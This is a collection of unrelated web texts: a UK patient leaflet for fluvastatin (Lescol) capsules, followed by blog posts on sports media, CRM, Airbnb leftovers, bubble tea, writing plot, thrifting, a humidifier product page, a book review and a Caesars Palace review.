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Active substance(s): FLUVASTATIN SODIUM
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Fluvastatin 20 mg Hard Capsules
(fluvastatin sodium)
Read all of this leaflet carefully before you start taking this medicine,
because it contains important information for you.
- Keep this leaflet. You may need to read it again.
- If you have any further questions, ask your doctor or pharmacist.
- This medicine has been prescribed for you only. Do not pass it on to
others. It may harm them, even if their signs of illness are the same as
- If you get any side effects talk to your doctor or pharmacist. This includes
any possible side effects not listed in this leaflet.
This medicine is available using any one above names but will be referred
to as Lescol throughout the following leaflet.
Lescol is also available in 40 mg strength.
What is in this leaflet
1. What Lescol is and what it is used for
2. What you need to know before you take Lescol
3. How to take Lescol
4. Possible side effects
5. How to store Lescol
6. Content of the pack and other information
Lescol contains the active fluvastatin sodium which belongs to a group of
medicines known as statins, which are lipid-lowering medicines: they lower
the fat (lipids) in your blood. They are used in patients whose conditions
cannot be controlled by diet and exercise alone.
- Lescol is a medicine used to treat raised levels of fats in the blood in
adults, in particular total cholesterol and so called "bad" or LDL
cholesterol, which is associated with an increased risk of heart disease
and stroke.
- in adult patients with high blood levels of cholesterol
- in adult patients with high blood levels of both cholesterol and
triglycerides (another sort of blood lipid)
- Your doctor can also prescribe Lescol to prevent further serious cardiac
events (e.g. heart attack) in patients after they already went through a
heart catheterisation, with an intervention in the heart vessel.
Follow all the doctor's instructions carefully. They may differ from the
general information contained in this leaflet.
Read the following explanations before you take Lescol.
Do not take Lescol
- if you are allergic (hypersensitive) to fluvastatin or any of the other
ingredients of Lescol listed in section 6 of this leaflet.
- if you currently have liver problems, or if you have unexplained,
persistently high level of certain liver enzymes (transaminases).
- if you are pregnant or breast-feeding (see "pregnancy and breastfeeding").
If any of these apply to you, do not take Lescol and tell your doctor.
Warnings and precautions
Talk to you doctor or pharmacist before taking Lescol.
- if you previously had a liver disease. Liver function tests will normally be
done before you start Lescol, when your dose is increased and at various
intervals during treatment to check for side effects.
- if you have a kidney disease.
- if you have a thyroid disease (hypothyroidism).
- if you have a medical history of muscle diseases yourself or in your family.
- if you had muscle problems with another lipid-lowering medicine.
- if you regularly drink large amounts of alcohol.
- if you have a serious infection.
- if you have very low blood pressure (signs may include dizziness, lightheadedness).
- if you have controlled or uncontrolled excessive muscle exercise.
- if you are about to have an operation.
- if you have severe metabolic, endocrine or electrolyte disorders such as
decompensated diabetes and low blood potassium.
While you are on this medicine your doctor will monitor you closely if you
have diabetes or are at risk of developing diabetes. You are likely to be at
risk of developing diabetes if you have high levels of sugars and fats in your
blood, are overweight and have high blood pressure.
Check with your doctor or pharmacist before taking Lescol:
– if you have severe respiratory failure
If any of these apply to you, tell your doctor before taking Lescol. Your
doctor will take a blood test before prescribing Lescol.
Also tell your doctor or pharmacist if you have a muscle weakness that is
constant. Additional tests and medicines may be needed to diagnose and
treat this.
If during treatment with Lescol, you develop symptoms or signs such as
nausea, vomiting, loss of appetite, yellow eye or skin, confusion, euphoria or
depression, mental slowing, slurred speech, sleep disturbance, tremors or
easy bruising or bleeding, these may be signs of liver failure. In such case
contact a doctor immediately.
Lescol and people over 70 years
If you are over 70 years your doctor may want to check if you have risk
factors for muscular diseases. You may need specific blood tests.
Lescol and children/adolescents
Lescol has not been investigated and is not intended for the use in children
below 9 years. For dose information in children and adolescents over 9
years, see section 3.
There is no experience with the use of Lescol in combination with nicotinic
acid, cholestyramine or fibrates in children and adolescents.
Other medicines and Lescol
Please tell your doctor or pharmacist if you are taking or have recently taken
any other medicines including medicines obtained without a prescription.
Lescol can be taken on its own or with other cholesterol-lowering medicines
prescribed by your doctor.
After intake of a resin, e.g. cholestyramine (primarily used to treat high
cholesterol) wait at least 4 hours before taking Lescol.
Tell your doctor and pharmacist if you are taking any of the following:
- Ciclosporin (a medicine used to suppress the immune system).
- Fibrates (e.g. gemfibrozil), nicotinic acid or bile acid sequestrants
(medicines used to lower bad cholesterol levels).
- Fluconazole (a medicine used to treat fungal infections).
- Rifampicin (an antibiotic).
- Phenytoin (a medicine used to treat epilepsy).
- Oral anticoagulants like warfarin (medicines used to reduce blood clotting).
- Glibenclamide (a medicine used to treat diabetes).
- Colchicines (used to treat gout).
Lescol with food and drink
You can take Lescol with or without food.
Pregnancy and breast-feeding
Do not take Lescol if you are pregnant or breast-feeding as the active
ingredient may lead to harm to your unborn child, and it is not known
whether the active ingredient is excreted in human breast milk. If you are
pregnant, consult your doctor or pharmacist before taking Lescol.
Take adequate precaution against pregnancy while taking Lescol.
If you become pregnant while taking this medicine, stop taking Lescol and
see your doctor.
Your doctor will discuss with you the potential risk of taking Lescol during
Driving and using machines
There is no information on the effects of Lescol on your ability to drive and
use machines.
Follow your doctor's instructions carefully. Do not exceed the recommended
Your doctor will recommend you to follow a low-cholesterol diet. Stay on this
diet while taking Lescol.
How much Lescol to take
- The dose range for adults is 20 to 80 mg per day and depends on the
extent of cholesterol lowering which needs to be achieved. Dose
adjustments may be made by your doctor at 4-week or longer intervals.
- For children (aged 9 years and older) the usual starting dose is 20 mg per
day. The maximum daily dose is 80 mg. Dose adjustments may be made
by your doctor at 6-week intervals.
Your doctor will tell you exactly how many capsules of Lescol to take.
Depending on how you respond to the treatment, your doctor may suggest a
higher or lower dose.
When to take Lescol
Take your Lescol dose in the evening or at bedtime.
If you are taking Lescol twice per day, take one capsule in the morning and
one in the evening or at bedtime.
Lescol can be taken with or without meals. Swallow whole with a glass of
If you take more Lescol than you should
If you have accidentally taken too much Lescol, talk to your doctor straight
away. You may need medical attention.
Reporting of side effects
If you get any side effects, talk to your doctor or pharmacist. This includes
any possible side effects not listed in this leaflet. You can also report side
effects directly via the Yellow Card Scheme at:
By reporting side effects you can help provide more information on the
safety of this medicine.
Do not store above 25ºC. Store in the original package
If you forget to take Lescol
- Take one dose as soon as you remember. However, do not take it if there
is less than 4 hours before your next dose. In this case take your next
dose at the usual time.
- Do not take a double dose to make up for the one that you missed.
Keep all medicines out of the sight and reach of children.
If you stop taking Lescol
To maintain the benefits of your treatment, do not stop taking Lescol unless
your doctor tells you to. You must continue to take Lescol as directed to
keep the levels of your 'bad' cholesterol down. Lescol will not cure your
condition but it does help control it. Your cholesterol levels need to be
checked regularly to monitor your progress.
If your capsules become discoloured or show any other signs of
deterioration, consult your doctor or pharmacist who will tell you what to do.
If you have any further questions on the use of this product, ask your doctor
or pharmacist.
Like all medicines, Lescol can cause side effects, although not everybody
gets them.
Very common: affects more than 1 user in 10
Common: affects 1 to 10 users in 100
Uncommon: affects 1 to 10 users in 1,000
Rare: affects 1 to 10 users in 10,000
Very rare: affects less than 1 user in 10,000
Not known: frequency cannot be estimated from the available data.
Some rare or very rare side effects could be serious: get medical help
- if you have unexplained muscle pain, tenderness or weakness. These
might be early signs of a potentially severe muscle degradation. This can
be avoided if your doctor stops your treatment with fluvastatin as quickly
as possible. These side effects have also been found with similar
medicines of this class (statins).
- if you have unusual tiredness or fever, yellowing of the skin and eyes,
dark coloured urine (signs of hepatitis).
- if you have signs of skin reactions such as skin rash, hives, redness,
itching, swelling of the face, eyelids, and lips.
- if you have skin swelling, difficulty in breathing, dizziness (signs of severe
allergic reaction).
- if you bleed or bruise more easily than normal (signs of decreased
number of blood platelets).
- if you have red or purple skin lesions (signs of blood vessel inflammation).
- if you have red blotchy rash mainly on the face which may be
accompanied by fatigue, fever, nausea, loss of appetite (signs of lupus
erythematous-like reaction).
- if you have severe upper stomach pain (signs of inflamed pancreas).
If you experience any of these, tell your doctor straight away.
Other side effects: tell your doctor if they worry you.
- Difficulty in sleeping, headache, stomach discomfort, abdominal pain,
nausea, abnormal blood test values for muscle and liver.
Very rare
- Tingling or numbness of the hands or feet, disturbed or decreased
Not known
- Impotence, muscle weakness that is constant.
Other possible side effects
- Sleep disturbances, including insomnia and nightmares
- Memory loss
- Sexual difficulties
- Depression
- Breathing problems including persistent cough and/or shortness of breath
or fever
- Diabetes. This is more likely if you have high levels of sugars and fats in
your blood, are overweight and have high blood pressure. You doctor may
monitor you while you are taking this medicine.
- Inflammation, swelling, and irritation of a tendon.
If any of the side effects gets serious, or if you notice any side effects not
listed in this leaflet, please tell your doctor.
Do not take the medicine after the expiry date, which is printed on the
outside of the pack
If your doctor tells you to stop taking Lescol, please take any unused
capsules back to your pharmacist to be destroyed. Only keep them if the
doctor tells you to. Do not throw them away with your normal household
water or waste. This will help to protect the environment.
What Lescol contains
The active ingredient is fluvastatin sodium.
Each hard capsule contains 20 mg fluvastatin (as fluvastatin sodium).
Also contains inactive ingredients: magnesium stearate; sodium
bicarbonate; talc; microcrystalline cellulose; pregelatinised starch; calcium
carbonate; titanium dioxide E171; red iron oxide red E172; yellow iron oxide
yellow E172; gelatin.
What Lescol looks like and contents of the pack
Lescol are hard gelatin capsules with a strong reddish brown opaque cap
and a pale yellow opaque body with the red inprint "XU 20 mg".
Available in calendar blister pack size of 28 capsules
Manufactured by Novartis Pharma GmbH, 90327 Nurnberg, Germany.
Procured from within the EU by Product Licence holder:
Star Pharmaceuticals Ltd., 5 Sandridge Close, Harrow, Middlesex
HA1 1XD. Repackaged by Servipharm Ltd.
PL No. 20636/2421
Leaflet revision and issue date (Ref.) 06.05.16[6]
Lescol is a trademark of Novartis AG.
Further information
Always consult your healthcare provider to ensure the information displayed on this page applies to your personal circumstances.


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Within the last few weeks I listed out what I thought were The Five Best Media Blogs in Boston as well as The Five Worst Media Blogs in Boston. Again, these were only sports blogs that are operated by a Mainstream Media outlet. At a future time, I might do a "best of" for independent sports blogs in around Boston as well.
I thought we'd spend a little time today looking at how the news outlets can improve their sports blogs. They're almost all relatively new to this whole blogging thing, while I'm about to hit my sixth year with BSMW, making me a grizzled graybeard in the blogging world.
Here's three things I would suggest to the operators of those blogs:
1) Categories. Feeds. Make More.
I discovered something interesting in my reading habits. I've found over the last couple of seasons that I subscribe to the RSS feeds of some blogs only during the offseason. Why is that? Well, during the season, I find that there is just too much content to keep up with, and much of it, I'm not interested in. This is especially true during games. It's not unusual to come back to my computer after a game and find 20-30 posts from during a game in my feedreader from one of the blogs. I just watched the game. I don't necessary need all those updates. So I've found myself actually unsubscribing from some feeds during the season because there is just too much information coming through that I don't always need.
It would make sense to create some categories in the blogs, and then feeds for each of those categories, as well as the main feed that contains all posts. Some sample categories might be "Game Updates" "Practice Reports" "Breaking News" and "Transactions." This way the reader can pick and choose which feeds to add to their reader. They'll still have the option of adding the main feed which brings them all of the posts.
The reason why I subscribe to the feeds in the offseason is because I don't want to miss a story. Usually when a post happens in the offseason, it's something of interest, a trade, a free agent signing, or a player being cut. During the season, there's just too much to keep up with sometimes, and chances are I've probably heard it already on the radio or watched it on TV.
2) Don't Post Your Column In The Blog, And Vice-Versa
Some of the old-timers out there still haven't quite gotten used to the whole blog concept. I can understand why, they're writers, not bloggers. When given blog duty, they're not sure what they should be putting in there. Write a whole story? But then what do they put in their story for the paper the next day? It feels to them like they're doing twice as much work, or diluting their hard copy story by posting it in the blog first.
Here's the answer: For the most part, these sports blogs aren't the place for long, rambling reports or stories. They're quick-hit items. Things of interest that you might be seeing and observing while putting together material that will be in your main story the next day. There are some exceptions. Bob Ryan's blog, for instance, is a place for him to weigh in on a topic that perhaps he didn't get to write a full column about. But in general, if you're posting to your outlet's blog, keep it light, relaxed. Share some observations, some thoughts you might have as you work. Keep the deeper stuff for your story.
3) Its OK To Acknowledge, And Even Link To The Competition
The competition between the outlets is slow to die, after so many years of going head to head for the readers. However, in this day and age, most of the fans are reading through all the material out there, so you're not going to lose readers as long as you're continuing to put out quality information.
So if your competition happens to have a great story, or perhaps breaks some news first, its OK to link to them. By mentioning or linking the other site, you're showing that you've got the best interest of your readers in mind. You want them to know that you're interested in making sure they have all the news and information that they need.
It also shows that you're not so insecure so as to think if you send a reader to another site that you're going to lose them forever. Linking is what really made the internet what it is today, but I still see examples on MSM blogs where they won't name the source of another story, let alone link to them. To the reader, this is frustrating, as they want this information, and now you've made them go out and look for it on their own rather than helping them find it.


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We were together for years. And over the last few months, my heart has been breaking piece by piece.
The others were never good enough. They left me with a bad taste, and I knew my nights with them would never last. They were most certainly one night stands, and for a while, I felt like that was all I'd ever have.
But then, I saw him and experienced all of his glory.. He was one of very few words. He never spoke back, got sassy, or told me I was wrong. Actually, being with him made me feel so right. He lifted me up when I was down and made me fly when I was already high. And for the first time in my life, I thought I had met my match.
It wasn't until early this year, when I started changing my life around that things got rough with us. I began trying to be healthier, and in turn spent less time with him. I think the distance made him angry – because every time we actually got together, it was short lived and I always went to bed alone with a sick feeling in my stomach.
It wasn't until last month, when I thought I'd give it one more shot, that I truly knew it was over. I thought it would be sweet to spend the Halloween weeks together in Salem Massachusetts, where celebrating before the actual holiday wouldn't be so out of the ordinary.
We had dinner, which was lovely, and everything went fine for a few hours. We met again at a tavern and I thought the chill running through me was just from the cold. But alas, it was not. I got home and felt that same sick, sad feeling in my stomach. I could hear him yelling at me as I wept and vomited in the bathroom.
And just like that, I knew. No, sir. I cannot handle you anymore. My healthy lifestyle has torn me from your sweet aroma. My clean body and mind makes it difficult to spend any reasonable amount of time with you. It hurts to be without you, but it hurts more when I'm with you.
We had many great, wonderful years together. I'll never forget how happy he made me feel. I've started moving on, slowly but surely, and I know that even though we aren't together, I'm in a great place in my life. Time will only tell if we ever meet again. Maybe a short embrace here and there, but that's all we'll ever have between us.
Jameson, I will always love you. Thank you for the time we did have. Until we meet again.


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CRM (Customer Relationship Management) is all about a system (the technology) and process you can use to gain better understanding of your customers and prospective customers and serve them better – just like Amazon.com does.
There's several CRM solutions on the market and several ways to implement CRM.
Formstack, an awesome company for all things related to forms (and so much more), wrote a blog post about how to have CRM that was not as expensive as Hubspot, but just as (or even more) effective.
So this brings me to the 3 ways to implement effective and value priced CRM in your business.
ONE: Infusionsoft, my employer, is the leading CRM solution dedicated and focused on small businesses. From $200 – $400 a month, it's all in one, online solution, is the gold standard for CRM (yeah – I'm biased, just a wee bit 🙂 )
TWO: Formstack's blog post is a treasure trove of integrated solutions (from The Small Business Web) helping you save money and use best of breed solutions to have CRM in your business.
THREE: Maybe a full CRM system is not for you, use the principles of Lifecycle Marketing (8 steps) in your business today. These 8 steps include:
- Identify your target customer
- Attract traffic
- Capture contact information
- Nurture your prospects
- Convert to sales
- Deliver and delight (customer service)
- Upsell
- Ask for referrals
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A crash between two semis Monday left one man dead, and shut down a portion of the Yellowhead highway east of Saskatoon.
Saskatoon RCMP were called to the scene near Plunkett just before 2 p.m. The collision had left both the east and west bound lanes blocked.
As of 8 p.m., highway 16 remained closed between the junctions of highways 2 and 20.
Police have yet to release the identity of the deceased, and the cause of the crash is still under investigation. However, icy road conditions were reported in the area at the time of the crash.


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The 10 Most Common Food Items Airbnb Guests Leave Behind
One of the (admittedly strange) perks of being an Airbnb host is discovering what objects my guests have left behind. As I ready my rental kitchen for the next temporary inhabitants, I get to conduct an exercise that's part anthropological analysis of the eating and drinking habits of travelers of the world, part Easter egg hunt.
In addition to the standard-issue leave-behinds like phone chargers (and, um, some unmentionables), here are 10 of the most common things I find.
1. Beer
Y'all drink a lot of beer. Mostly inexpensive domestic beer. Well, at least that's what's left behind anyway. It only makes sense that people will drink the good stuff, and leave the Miller. Usually we hang on to it for parties.
2. Booze
I rarely see bourbon left behind, although there are plenty of empty bottles! The clear liquors of the world, however, are a different story. Vodka is the most common spirit we've found hanging out in the freezer.
3. Wine
To complete the alcohol trinity, we see lots and lots of wine, generally half-full bottles. I get it: You have a couple glasses, then go out, and by the time you get back you're ready to crash. I can hear Bacchus weep every time I pour the bottle out.
4. Pizza
This one comes as a shock to exactly no one. People order pizza when they're on the road. I've opened the little fridge many times to find the delivery box wedged in there, with last night's leftover slice of pepperoni pie just chilling inside.
5. Sports Drinks
Whenever someone asks me where they can go for a run, I know what I'm going to find in the fridge when they leave: Gatorade or one of its many ilk. Hey, I know, it's important to stay hydrated!
6. Energy Drinks
Travel takes energy, and you want to make the most of your trip, so what do you do? Grab a Red Bull (or Rocket/Monster/whatever) and keep going, apparently! I guess at some point you decide to get some rest, though, because there's usually a can that gets left behind.
7. Ice Cream
Just because you're not at home doesn't mean you skip your nightly treat, am I right? There's no shame. I've done it myself.
8. Peanut Butter
This comes from a fellow host on the West Coast who tells me if she had a dollar for every jar of PB left behind … well, probably she wouldn't need to Airbnb! My deductive reasoning tells me she hosts families; that's no big leap, since my parent friends tell me they often make PB&J sandwiches for their kids' lunches when they're renting homes.
9. Mystery Meat
We sometimes end up with remnants of family dinners, which can be a little mysterious and also disconcerting. One time we found an unwrapped chicken carcass in the freezer, which led to a mass disinfecting of the entire kitchen because where else did they have the raw bird lying around?
10. Restaurant Leftovers
Oh, the old "my eyes are bigger than my belly" dilemma. You're in a new place, want to try out all the local specialties, but you just can't fit it all in. No worries, take it back to the Airbnb and stash it in the fridge for later. Except check-out time comes before "later." I'm not brave enough to lift the styrofoam lid to see what's inside; also, do I really even need to know? Yeah, nope.


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Sir Alex Ferguson believes Tottenham are currently playing the best football in the Premier League.
Heading into the New Year programme, Spurs are seven points adrift of pacesetters Manchester City and Manchester United, although they do have a game in hand.
And with both City and United to play within a six-week spell from the end of January to the beginning of March, Ferguson believes the Londoners cannot be written out of the battle just yet, and said: "Tottenham can definitely win it."
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Lean Mean ThirteenReviewing: Lean Mean Thirteen By Janet Evanovich | Rating:
This novel is an action packed story of a female bounty hunter, Stephanie Plum, that learns her past can still cause pains of enormous amounts even after letting it go. This book explores different relationships that Stephanie has. The first notable relationship is the one with her ex-husband Dickie. He was a cheating husband that as you read you will realize is the reason her life gets turned upside down. Then you will see her being followed by Dickie's girlfriend, Joyce, because she thinks that Stephanie is responsible for Dickie's disappearance.Then there is the cop boyfriend Joe, who allows her to think that her ex-husband's disappearance is real while all along he knows that he was not kidnapped but was in police protection. While doing a favor for a friend, Ranger, she gets tied to Dickie by staging a fight at Dickies office and then becomes the target by his would be kidnappers. This story offers action, deceit, secrets, and a slight bit of humor. I think my favorite of her relationships was the one with Ranger. He takes her safety as a responsibility but you can sense the sexual tension between the two as they are constantly dealing with dangerous situations. I will say that you will not be sorry for buying this book. I really liked this book because I think that it represents a strong woman who is a force to be recognized. I can relate to her by how she never gives up no matter what gets in her way. I personnally think that every woman has someone in their life like Dickey that causes turmoil in their lives and this book will definately hint to comparison. I definately relate to the story. After reading the book It reminded me to keep going and stay strong in life and that sometinmes when the going gets rough you have to get tougher.


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One at a time, you see happy customers walk away with a sealed plastic cup of colourful liquid with interesting looking toppings inside.
'Why is it so popular?'
'I don't know what to order?'
'What are those black balls?'
As you ask yourself these questions you also think to yourself how on earth are you supposed to know which tea and topping would be a good combo?
Well, if you're not a frequent customer, you will not know.
Yes, there are several flavours of tea and yes, there's an endless combination of tea and toppings you can try but some will just not taste as good together. This article will help you solve your confusion when you're waiting in line being indecisive.
What is bubble tea?
Bubble tea is a drink that was originated in the 1980's in Taiwan, it is also known as pearl milk tea or Boba tea. It has steadily become an internationally top seller drink within the last decade, spreading throughout the US states, Europe and Australia. Popular franchises such as MacDonald's have also begun selling these drinks in their stores in Austria and Germany. The ingredients of this drink vary throughout different stores and are often altered to suit the demands of local customers. A few tips below will give you a head start as to which to try.
The popular list
Seek out the most popular drinks; they are usually presented quite visibly to the customer as the 'most poplar drinks'. The drinks presented on that list are the safest bet and will not taste weird. The most popular ones that have been a trend in the stores are pearl milk tea, passionfruit green tea, redbean matcha milk tea, taro milk tea and mango green tea.
Sugar percentage
Many of the tea stores give you the option of how much sugar you want in your drink. The standard shot of sugar varies throughout the stores but you can choose to have 75%, 50% and 25% of it. Most people stick with 100% as it is the standard amount, however if you're a little bit worried about your calories, feel free to reduce the sugar level, however, it may not taste as good!
Volume of Ice
The amount of ice cubes they put into the drink is another subtle component that alters the taste accordingly but more importantly, it monitors the duration of the coolness of each drink once it has been prepared. Each teashop has their volume of ice they place in the drink and the consumer can usually request less ice (if they intend to drink it earlier or do not want it to be as cold).
If you're feeling a little more adventurous, you can ask the bartender to suggest you a different type of drink. Everyone's preference for their bubble tea will be different, so be prepared to try the various combinations and discover your favourites!


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I received Marianne Williamson's newsletter today and thought her prayer was beautiful. I plan on saying it daily for a while I hope you will join me?
Dear God,
Please send angels
to guard our democracy
as we move towards the Presidential election.
Guide and protect our candidates
and shield them from harm.
Pave a way for our nation
to step onto a new path,
to correct our mistakes,
to atone for our errors
and rise up in glory.
Forgive us all,
and set our feet on new ground.
May we be lifted
to the highest level of possibility
as individuals and as a nation.
For this we pray.
Dear God,
As our nation and our world
endure economic stress,
please enter here and make all things right.
Where our hearts, our minds or our behavior have been inflated,
lacking integrity or authentic truth,
please forgive us.
May we begin again.
Teach us how to do better.
Shift our hearts, dear God,
and shift our planet.
Remove all fear
and send miracles to heal us.
Create an economy of righteousness for all.
May love prevail.


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Plot development can be the most difficult part about writing a story. Whether it is a fiction or non-fiction, your story needs a plotline that is easy to follow and makes sense. Many writers face challenges in this process, especially when there are things that just don't quite add up. For example, have you ever read a book or watched a movie that had inconsistencies or, what many would call major "plot holes"? These mistakes typically turn readers or viewers off from your story, so you want to make sure that you spend a good amount of time outlining the plot of your story. Here are a few tips and exercises that may help your in this process.
The most essential part of writing is being able to identify the conflict. In my previous article, I discussed character development. From completing those exercises, you should have been able to identify your protagonist's main conflict. Now, you need to focus on the story as a whole. What is the central conflict? What is the major goal/goals that your characters are working towards throughout this entire narrative? These are questions you need to consider when you are writing. A good tip here is to write your conflict on a post-it note. Put it in your brainstorming binder to help you remember what the main focus of your narrative is. This should prevent you from straying from the path too much when you are working on your manuscript.
Types of Conflicts:
Another important element of conflict is being able to identify the type of conflict that your main characters are facing in your novel. Is it an internal or an external conflict? Here is an overview of the types:
- Man vs. Man: Two characters against one another
- Man vs. Self: A conflict within the character's mind
- Man. vs. Nature: Think of a bad storm or something in nature that is getting in the way
- Man vs. Society: This could be against the government, societal values, or social norms
- Man vs. Machine: This is typical of many science fiction narratives
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Protagonist vs. Antagonist
You have established who is in your story. Now you need to take some time getting to know their role in the plot of your story. A good way to do this is to create a compare/contrast chart for your main heroes/villains. Good protagonists and antagonists are usually completely opposite of each other, much like the yin and the yang. However, it is also important that they have similarities as well. These likenesses are what brings two opposing forces together, and is usually what will make your manuscript more suspenseful and unique to others.
Scenario Building
Think about some of the different scenarios that your hero may go through during the story. Using flash cards, write down a few examples of some interesting scenes that may spark your reader's attention. These note cards will come in handy later when you are trying to order and outline your manuscript. Keep them in a safe place and come back to them when you are ready.
The Freytag Model
Most of you will be familiar with "The Freytag Model" of plot development. This is typically taught to you in school when you are analyzing literature. What people don't know is that this is a great way to outline the main events of your narrative. Draw out the model on your own paper. Take some of the scenarios that you have written down and move them around on your plot chart. See what works and what doesn't work. Try out many different examples. Switch your resolution with your climax and see what happens. Once you have come up with an acceptable plotline that you are happy with, take a picture of it, frame it, or write that down. Make sure you don't lose it! This will be the most important part of your brainstorming binder!!!
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After using The Freytag Model, you might also want to create a brief timeline for the events. This will help you visualize how your chapters will break down and in what order everything needs to happen. Again, this is something that you will want to hold on to and keep in a safe place as you are working on your manuscript so that you can make sure that you are staying on track. Another great tip is to create a checklist as you are writing. Write out in what chapter each even should take place, and when you have finished writing that chapter, place a check mark next to that idea on your timeline.
Most readers are able to identify a specific theme in a book that they have read. Even though you might not be thinking about theme as you are writing, it is still a very crucial part of your book. Before you begin writing your manuscript, take some time answering these quick questions to identify the theme of your story:
- What is the purpose?
- What are people to gain from reading this book?
- Are there any symbols that are particularly important?
- What is the main idea?
- What message would you like to send to readers after they have finished reading?
To comment on the last question, it might be a good idea to sit down and write a personal letter to the audience of your book. Identify in this letter what lessons and ideas you would want them to learn from your novel after they finish reading it. When you have finished writing your manuscript, come back to this letter and read it to yourself. Think about whether your intentions and accomplishments were met. If the letter still goes with what you initially said, than you have done your job. If not, you might need to make some changes and re-think your approach.
Pitching Your Story
One of the most crucial parts of completing a book is the pitching process. Agents are going to want to be moved and excited when they hear the pitch. Instead of waiting until after you have finished writing, you should write a pitch for your book BEFORE you write your manuscript. This will not only give you a starting point once it is complete, but it will also help you understand what your novel should be all about. Take out an index card and try to sum up your book in about 25 words or less. Make sure the message is simple, concise, and that it contains a proper hook. A hook is how you want to draw interest from your readers. Once you have written your pitch, keep it in your brainstorming binder as a reminder of what your goals are.
Figuring out the plot of your story can be the most grueling piece of work you will ever encounter. However, you don't have to make it hard. Take notes, pay attention to how your story develops, and keep that in mind before you start typing out your best-selling idea. If you focus and stay on the path of your plot, then you will end up completing a story. Remember, it is important to focus on the main ideas first, then you can go back and add the "fluff" and details to your story that make it out of this world! I hope you enjoyed this installment of tips for writers! The next topic we will be focusing on is choosing the setting of your story. Stay tuned and get writing!


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I thrift shop a whole lot. Is that surprising to anyone? I shop by myself and now with the club. Here are some of my purchases from the past 2 weeks. Right now I'm diggin' SA and have been trying out locations I've never been to.
Little Black Dress ($5)
The fit is amazing and all of the ruching around the waist is so flattering and it has a bit of arm coverage. I love it.
Little Purple Dress ($5)
That is all. Not really, there's more. It's purple, has ruffles at the neckline and a banded waist, layers, and arm coverage.
Go ahead, increase the picture size on this one and check out the details. It's lovely.
Floral Skirt ($3)
A retro throw on skirt for strolling with V -- although she is starting to stroller protest, she wants to run!
I love the big bold flowers.
Reversible Orange/Pink Skirt ($3)
2 skirts in one!
J Crew Chino Jacket ($5)
A neutral jacket to go with all my finds
or DIY/DYE it!
Do you like my finds? What have you thrifted lately?


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Trion Air T707u - Atomizing Humidifier, 6 GPD
The 707U centrifugal atomizing humidifier is
installed onto the return duct, through the wall, or
as a freestanding unit that introduces water
vapor directly into the room. There are no pads
or filters to change, so there is little maintenance
time or effort required. Easily adjustable
humidistat allows air to be kept at an ideal humidity level.
Weight (Shipping):20 LB
Save on Energy Costs and Improve Comfort. Increasing A Home's Relative Humidity Makes it Feel More Lower Thermostat Settings Deliver Substantial Savings on Monthly High Capacity Output: G200 – 14.4 Gallons Per Day at 120º F. Installation is Quick and Easy Easy Assembly – Just Fit the Dome Snugly on top of the Pan –to 80% Relative Humidity120v Wall or Duct-Mount Humidistat is Easily Adjustable from 20%
Directly to a Room
Extension to Extend Through Wall for Installation Flexibility
Centrifugal atomizing humidifiers are installed onto the return duct or as a free-standing unit where a superfine mist is fed directly to a room. There are no pads or filters to change, so there is little maintenance
Comfortable at 68ºF / 20ºC Than it Does at 73ºF / 23ºC at a Low
Relative Humidity Levelneeded.
How Humidifiers Work:
Relative humidity is a measure of the amount of water in the air compared with the amount of water the air can hold at the temperature it happens to be when you measure it.
Air temperature (Celsius) / Water vapor air can hold at that temp (Saturation vapor pressure)
30°C (86°F) / 30 grams per cubic meter of air
20°C (68°F) / 17 grams per cubic meter of air
10°C (50°F) / 9 grams per cubic meter of air
Based on the above "table," here's how relative humidity works: Imagine that you measure the air's temperature at 30° Celsius (86°F) and you measure its humidity at 9 grams per cubic meter of air. You would divide 9 by 30 and multiply by 100 to get a relative humidity of 30%. In other words, the air actually has 30% of the water vapor it can hold at its current temperature. Cool the air to 20°C (68°F). Now we divide 9, the vapor actually in the air, by 17, the vapor it could hold at its new temperature, and multiply by 100 to get a relative humidity of 52.9% (53% rounded off). Finally, when the air cools to 10°C (50°F), we divide 9 by 9 and multiply by 100 to get a relative humidity of 100%. The air now has all the vapor it can hold at its new temperature.
Once again, the way you measure "relative humidity" is to divide the actual vapor pressure by the saturation vapor pressure and then multiply by 100 to convert to a percent. So, to get the "ideal" 70°/70% conditions in your humidor (give or take a degree or two) you would need a temperature of 68°F and saturation vapor pressure of 11.55 grams per cubic meter of air.
What this amounts to is, the less heat you have the more humidity required, and vice versa to keep the climate balanced.


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Caesars Palace Las Vegas
Caesars Palace at sunset on December 25, 2006
Caesars Palace Las Vegas was known as the most luxurious of Las Vegas strip resorts from the time it opened in 1966 until late 1998 to 1999, when Sheldon Adelson and Steve Wynn were the first to challenge Caesars position as "jewel of the strip" with their Venetian and Bellagio resorts. The 1990s were mainly a time of building up the south strip with gimmicky themed resorts - the Luxor pyramid (opened 1993), the Excalibur medieval castle (opened 1990), Paris (opened 1999) with its Eiffel Tower and Arch de Triomphe reproductions, New York New York (opened 1997) with its Statue of Liberty and Brooklyn Bridge reproductions, and Monte Carlo (opened 1996).
Caesars Palace Las Vegas
Even Mandalay Bay (opened 1999) and further north, Steve Wynn's Mirage (opened 1989) and Treasure Island (1993) did not come close to matching the level of luxuriousness and extreme attention to detail embodied in Venetian and Bellagio. In my opinion, Venetian and Bellagio started the trend of "let's build something even MORE luxurious" which has continued all the way through 2013 with Wynn's Encore; Adelson's Palazzo; Aria, Vdara, and Mandarin Oriental in Project CityCenter, Cosmopolitan, Crystals Mall which is too upscale for Saks Fifth Avenue, Fontainebleau (which never opened) and the Asian themed resort going up at the old Stardust site after Boyd Gaming finally gave up on Echelon Place. The economic downturn of 2008 nearly halted work on CityCenter. We're supposed to be talking about Caesars Palace though. This brief history lesson illustrates that although Caesars Palace may be as nice as it was in 1966, it has declined from being "top dog" on the strip to number 6 or 7.
Caesars Palace Forum Casino
A Harrah's Entertainment property, Caesars has quite a variety of rooms available on their online reservations page... choose from Forum Tower Rooms, Deluxe Rooms, Premium Rooms, Industry Suites, Fantasy Suites, Penthouse, Palace Tower, Octavius Tower, and Augustus Tower. Their least expensive rooms (which are most likely the smallest and oldest) may be priced a little bit lower than Venetian, Bellagio or Wynn; while the fancier rooms might equal or surpass the prices of the newer luxury properties.
After visiting the property for more than 20 years, we finally booked a room there in December 2012. The Augustus Tower room was quite large (about 600 sq ft.) and very nice, with a jetted tub, two sinks and an extra TV in the bathroom. We paid $120 per night; and this was during a slow week.
Caesars Palace Las Vegas Forum Casino
Caesars Palace Forum Shops
